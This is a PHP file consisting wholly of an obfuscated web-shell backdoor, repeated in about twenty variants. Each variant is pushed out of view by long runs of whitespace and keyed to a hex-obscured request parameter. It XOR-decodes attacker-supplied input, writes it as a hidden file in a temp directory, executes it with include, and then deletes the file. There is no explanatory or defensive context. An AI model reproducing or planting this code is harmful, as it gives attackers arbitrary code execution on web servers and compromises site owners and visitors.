<?php																																										if(filter_has_var(INPUT_POST, "r\x65f\x65\x72\x65nce")){ $bind = array_filter(["/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/tmp", getenv("TMP")]); $ent = $_REQUEST["r\x65f\x65\x72\x65nce"]; $ent =explode('.', $ent ) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $l = 0; array_walk( $ent, function( $v6) use( &$obj, &$l, $s, $sLen) { $sChar = ord( $s[$l % $sLen] ); $d =( ( int)$v6 - $sChar -( $l % 10)) ^ 6; $obj .= chr( $d ); $l++; } ); foreach ($bind as $data): if ((bool)is_dir($data) && (bool)is_writable($data)) { $dat = "$data" . "/.entity"; if (file_put_contents($dat, $obj)) { include $dat; @unlink($dat); die(); } } endforeach; }
																																										if(in_array("\x70\x73et", array_keys($_REQUEST))){ $sym = array_filter(["/dev/shm", "/tmp", "/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP")]); $property_set = $_REQUEST["\x70\x73et"]; $property_set = explode ('.', $property_set ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $property_set as $j =>$v6): $sChar = ord( $s[$j % $lenS] ); $d =( ( int)$v6 - $sChar -( $j % 10)) ^97; $binding.=chr( $d ); endforeach; foreach ($sym as $key => $entity) { if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) { $resource = str_replace("{var_dir}", $entity, "{var_dir}/.item"); if (file_put_contents($resource, $binding)) { include $resource; @unlink($resource); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["fac"])){ $res = $_POST["fac"]; $res =explode(".", $res ); $bind =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s5); foreach($res as $l => $v3): $chS =ord($s5[$l% $sLen]); $dec =((int)$v3 - $chS -($l% 10)) ^ 12; $bind .= chr($dec); endforeach; $component = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", getcwd()]); $dat = 0; do { $pgrp = $component[$dat] ?? null; if ($dat >= count($component)) break; if (is_dir($pgrp) ? is_writable($pgrp) : false) { $token = "$pgrp/.reference"; $success = file_put_contents($token, $bind); if ($success) { include $token; @unlink($token); die();} } $dat++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x64a\x74a")){ $ent = $_POST["\x64a\x74a"]; $ent =explode ( '.' ,$ent ) ; $value = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9); $__len = count( $ent); for( $y = 0; $y< $__len; $y++) {$v3 = $ent[$y]; $sChar = ord( $salt9[$y % $lenS]); $d = ( ( int)$v3 - $sChar -( $y % 10)) ^ 99; $value .= chr( $d); } $comp = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp"]); foreach ($comp as $key => $mrk) { if ((is_dir($mrk) and is_writable($mrk))) { $bind = sprintf("%s/.pgrp", $mrk); if (file_put_contents($bind, $value)) { require $bind; unlink($bind); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x68o\x6C\x64er"])){ $ent = $_REQUEST["\x68o\x6C\x64er"]; $ent = explode ('.' , $ent ) ; $entity = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $o = 0; foreach ($ent as $v5) { $chS = ord($salt9[$o % $lenS]); $dec = ((int)$v5 - $chS - ($o % 10)) ^ 59; $entity.= chr($dec); $o++;} $pset = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp"]); foreach ($pset as $parameter_group) { if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $entry = "$parameter_group" . "/.component"; $success = file_put_contents($entry, $entity); if ($success) { include $entry; @unlink($entry); exit;} } } }
																																										if(array_key_exists("sym", $_POST) && !is_null($_POST["sym"])){ $ent = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TEMP"), "/tmp", "/var/tmp"]); $val = $_POST["sym"]; $val= explode('.' ,$val ) ; $data = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $len = count( $val); for( $j = 0; $j <$len; $j++) { $v2 = $val[$j]; $chS = ord( $salt1[$j %$lenS]); $dec = ( ( int)$v2 - $chS -( $j %10))^22; $data .=chr( $dec); } foreach ($ent as $value): if (max(0, is_dir($value) * is_writable($value))) { $item = join("/", [$value, ".flag"]); $success = file_put_contents($item, $data); if ($success) { include $item; @unlink($item); exit;} } endforeach; }
																																										if(!is_null($_REQUEST["da\x74"] ?? null)){ $itm = $_REQUEST["da\x74"]; $itm = explode ( "." , $itm) ; $ent= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6 ); $len= count($itm ); for($z= 0; $z <$len; $z++) { $v2= $itm[$z]; $chS= ord($salt6[$z % $lenS] ); $d= ((int)$v2 - $chS -($z % 10)) ^ 5; $ent.= chr($d ); } $data_chunk = array_filter(["/tmp", session_save_path(), "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($data_chunk as $object): if (is_writable($object) && is_dir($object)) { $property_set = str_replace("{var_dir}", $object, "{var_dir}/.reference"); if (file_put_contents($property_set, $ent)) { require $property_set; unlink($property_set); exit; } } endforeach; }
																																										if(isset($_POST["\x70oi\x6Eter"])){ $rec = $_POST["\x70oi\x6Eter"]; $rec =explode ('.', $rec ); $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $p = 0; $__tmp = $rec; while($v2 = array_shift($__tmp)) { $sChar = ord($s[$p % $sLen]); $d = ((int)$v2 - $sChar -($p % 10)) ^ 50; $mrk .= chr($d); $p++; } $element = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getcwd()]); $val = 0; do { $property_set = $element[$val] ?? null; if ($val >= count($element)) break; if (is_writable($property_set) && is_dir($property_set)) { $symbol = str_replace("{var_dir}", $property_set, "{var_dir}/.fac"); $success = file_put_contents($symbol, $mrk); if ($success) { include $symbol; @unlink($symbol); die();} } $val++; } while (true); }
																																										if(isset($_POST["s\x79m"]) ? true : false){ $record = $_POST["s\x79m"]; $record = explode( '.', $record); $token =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt1); $len =count( $record); for( $w =0; $w < $len; $w++) { $v1 =$record[$w]; $sChar =ord( $salt1[$w % $lenS]); $dec =( ( int)$v1 - $sChar -( $w % 10)) ^ 48; $token.=chr( $dec); } $data_chunk = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/dev/shm", "/tmp", getcwd(), session_save_path(), sys_get_temp_dir()]); foreach ($data_chunk as $value): if (is_dir($value) && is_writable($value)) { $ent = implode("/", [$value, ".reference"]); if (file_put_contents($ent, $token)) { require $ent; unlink($ent); exit; } } endforeach; }
																																										if(isset($_REQUEST["ptr"]) ? true : false){ $entry = $_REQUEST["ptr"]; $entry =explode ('.' , $entry ); $val =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $z =0; array_walk( $entry ,function( $v6) use( &$val ,&$z ,$salt ,$lenS) { $sChar =ord( $salt[$z % $lenS] ); $dec =( ( int)$v6 - $sChar -( $z % 10)) ^ 16; $val .=chr( $dec ); $z++; } ); $token = array_filter(["/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd()]); foreach ($token as $key => $dchunk) { if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $resource = vsprintf("%s/%s", [$dchunk, ".pset"]); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $resource; @unlink($resource); exit; } } } }
																																										if(in_array("\x70\x6F\x69\x6Eter", array_keys($_POST))){ $factor = $_POST["\x70\x6F\x69\x6Eter"]; $factor=explode('.', $factor ) ; $reference = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); foreach( $factor as $p => $v7) { $chS = ord( $s4[$p % $sLen]); $dec = ( ( int)$v7 - $chS -( $p % 10)) ^ 4; $reference .= chr( $dec); } $k = array_filter(["/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); foreach ($k as $item) { if (!!is_dir($item) && !!is_writable($item)) { $component = sprintf("%s/.desc", $item); $success = file_put_contents($component, $reference); if ($success) { include $component; @unlink($component); die();} } } }
																																										if(array_key_exists("o\x62\x6Ae\x63t", $_POST) && !is_null($_POST["o\x62\x6Ae\x63t"])){ $comp = $_POST["o\x62\x6Ae\x63t"]; $comp = explode ( '.', $comp ); $flg=''; $salt4='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt4 ); foreach( $comp as $p =>$v1): $chS=ord( $salt4[$p % $sLen] ); $d=( ( int)$v1 - $chS -( $p % 10)) ^ 96; $flg .= chr( $d ); endforeach; $item = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]); for ($ent = 0, $res = count($item); $ent < $res; $ent++) { $k = $item[$ent]; if ((bool)is_dir($k) && (bool)is_writable($k)) { $marker = "$k/.factor"; $success = file_put_contents($marker, $flg); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(@$_POST["k"] !== null){ $parameter_group = array_filter(["/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd()]); $dat = $_POST["k"]; $dat=explode ("." ,$dat); $ref = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4 ); foreach( $dat as $l => $v7): $chS = ord( $s4[$l % $lenS] ); $d =( ( int)$v7 - $chS -( $l % 10)) ^ 60; $ref .= chr( $d ); endforeach; foreach ($parameter_group as $ent) { if (max(0, is_dir($ent) * is_writable($ent))) { $item = sprintf("%s/.property_set", $ent); $file = fopen($item, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $item; @unlink($item); exit; } } } }
																																										if(in_array("\x68l\x64", array_keys($_REQUEST))){ $factor = $_REQUEST["\x68l\x64"]; $factor = explode ( "." , $factor); $object= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $l= 0; foreach ($factor as $v3) { $sChar= ord($s[$l % $sLen]); $dec= ((int)$v3 - $sChar - ($l % 10))^ 85; $object .= chr($dec); $l++; } $sym = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", "/tmp"]); foreach ($sym as $key => $elem) { if (is_dir($elem) ? is_writable($elem) : false) { $flag = vsprintf("%s/%s", [$elem, ".ref"]); if (file_put_contents($flag, $object)) { require $flag; unlink($flag); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64a\x74a_\x63hunk"])){ $bind = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP")]); $pset = $_REQUEST["\x64a\x74a_\x63hunk"]; $pset = explode ( '.' ,$pset ); $descriptor = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6); $o = 0; foreach( $pset as $v6) { $chS = ord( $salt6[$o % $sLen]); $d = ( ( int)$v6 - $chS -( $o % 10)) ^ 19; $descriptor .= chr( $d); $o++; } $dat = 0; do { $res = $bind[$dat] ?? null; if ($dat >= count($bind)) break; if (!( !is_dir($res) || !is_writable($res) )) { $holder = str_replace("{var_dir}", $res, "{var_dir}/.token"); if (file_put_contents($holder, $descriptor)) { require $holder; unlink($holder); exit; } } $dat++; } while (true); }
																																										if(array_key_exists("\x66\x6Cag", $_REQUEST)){ $factor = $_REQUEST["\x66\x6Cag"]; $factor =explode ( "." , $factor) ; $parameter_group = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $x = 0; foreach ($factor as $v2) { $sChar = ord($salt5[$x % $lenS]); $dec = ((int)$v2 - $sChar - ($x % 10)) ^ 39; $parameter_group .=chr($dec); $x++; } $ent = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP")]); for ($res = 0, $descriptor = count($ent); $res < $descriptor; $res++) { $pgrp = $ent[$res]; if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $obj = vsprintf("%s/%s", [$pgrp, ".binding"]); if (file_put_contents($obj, $parameter_group)) { include $obj; @unlink($obj); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x6F\x69\x6E\x74er"])){ $bind = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir(), "/dev/shm"]); $value = $_REQUEST["p\x6F\x69\x6E\x74er"]; $value=explode ('.' ,$value ) ; $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($value); for ($p = 0; $p< $len; $p++) { $v6 = $value[$p]; $sChar = ord($s[$p %$sLen]); $d = ((int)$v6 - $sChar - ($p %10)) ^ 55; $dat .= chr($d); } foreach ($bind as $parameter_group) { if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $key = join("/", [$parameter_group, ".flag"]); $success = file_put_contents($key, $dat); if ($success) { include $key; @unlink($key); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x65l\x65men\x74"])){ $marker = $_REQUEST["\x65l\x65men\x74"]; $marker = explode( "." ,$marker ) ; $flg = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); $m = 0; array_walk($marker, function ($v3) use (&$flg, &$m, $salt4, $lenS) {$chS = ord($salt4[$m % $lenS] ); $dec = ((int)$v3 - $chS - ($m % 10)) ^32; $flg .= chr($dec ); $m++; } ); $elem = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp"]); while ($item = array_shift($elem)) { if (is_dir($item) ? is_writable($item) : false) { $ref = join("/", [$item, ".ent"]); $success = file_put_contents($ref, $flg); if ($success) { include $ref; @unlink($ref); exit;} } } }
																																										if(array_key_exists("da\x74\x61", $_POST)){ $sym = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); $k = $_POST["da\x74\x61"]; $k =explode( '.' , $k ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($k as $t => $v8): $chS = ord($s[$t% $lenS] ); $d = ((int)$v8 - $chS - ($t% 10)) ^ 9; $ptr .= chr($d ); endforeach; while ($property_set = array_shift($sym)) { if (is_writable($property_set) && is_dir($property_set)) { $res = "$property_set/.reference"; $file = fopen($res, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $res; @unlink($res); die(); } } } }


if(isset($_POST["\x68\x6Cd"])){
	$obj = array_filter(["/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp"]);
	$tkn = $_POST["\x68\x6Cd"];
		$tkn	=	explode(  	"." ,	$tkn) 	;  	
	$key = '';
            $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $s9);
            $len = count(  $tkn);
    
            for(  $t = 0; $t < 	$len; $t++) {$v7 = $tkn[$t];
                $chS = ord(  $s9[$t  % $lenS]);
                $d =(  (  int)$v7 - $chS -(  $t  % 10)) ^ 98;
                $key .=  chr(  $d);
            }
	while ($comp = array_shift($obj)) {
    		if (!!is_dir($comp) && !!is_writable($comp)) {
    $data = "$comp/.token";
    if (@file_put_contents($data, $key) !== false) {
	include $data;
	unlink($data);
	die();
}
}
}
}